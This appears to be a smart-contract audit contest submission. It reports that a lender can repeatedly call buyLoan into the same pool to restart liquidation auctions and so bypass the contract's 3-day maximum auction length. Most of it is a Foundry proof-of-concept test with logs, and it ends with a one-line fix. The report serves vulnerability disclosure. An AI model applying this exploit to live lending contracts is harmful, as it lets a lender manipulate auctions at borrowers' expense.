20,000 USDC
View results
Submission Details
Severity: medium

Bypass auction max length by continuously calling `buyLoan` to the same pool

Summary

The Lender contract has a max auction Length of 3 days, however, he can extend it by paying too low fees, which can be considered negligible, this happens by calling the buyLoan function when the auction has started and buying the Loan into the same old pool.

Vulnerability Details

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// https://github.com/NomicFoundation/hardhat/blob/main/packages/hardhat-core/console.sol
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 2_000 * 10 ** 18);
loanToken.mint(address(lender2), 2_000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function separate() public {
console.log("------------------------------------");
}
function createPoolAndBorrow()
public
returns (bytes32 poolId, uint256 loanId)
{
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 3 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
loanId = 0;
}
function test_bug() public {
(bytes32 poolId, uint256 loanId) = createPoolAndBorrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , uint256 auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
vm.startPrank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days + 59 minutes);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
assert(auctionStartTimestamp != type(uint256).max);
lender.buyLoan(loanId, poolId);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
separate();
assert(auctionStartTimestamp == type(uint256).max);
lender.startAuction(loanIds);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTimestamp, ) = lender.loans(0);
console.log(
"Lender 1 balance: %s %s",
loanToken.balanceOf(lender1),
loanToken.balanceOf(lender1) / 10 ** 18
);
console.log("Pool balance: %s %s", poolBalance, poolBalance / 10 ** 18);
console.log("Auction start timestamp: %s", auctionStartTimestamp);
assert(auctionStartTimestamp != type(uint256).max);
}
}

Example logs (notice Auction start timestamp):

Logs:
Lender 1 balance: 1000000000000000000000 1000
Pool balance: 900000000000000000000 900
Auction start timestamp: 115792089237316195423570985008687907853269984665640564039457584007913129639935
------------------------------------
Lender 1 balance: 1000000000000000000000 1000
Pool balance: 900000000000000000000 900
Auction start timestamp: 1
------------------------------------
Lender 1 balance: 1000000000000000000000 1000
Pool balance: 899994408295281582953 899
Auction start timestamp: 115792089237316195423570985008687907853269984665640564039457584007913129639935
------------------------------------
Lender 1 balance: 1000000000000000000000 1000
Pool balance: 899994408295281582953 899
Auction start timestamp: 176341

Impact

A user can start an auction and since it must be 3 days before the liquation if he did not get what he wants he can extend it as long as wants to pay too low fees causing him to bypass the MAX_AUCTION_LENGTH.

Tools Used

VScode + manual review.

Recommendations

Add if (oldPoolId == poolId) revert ...; on the top of buyLoan function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.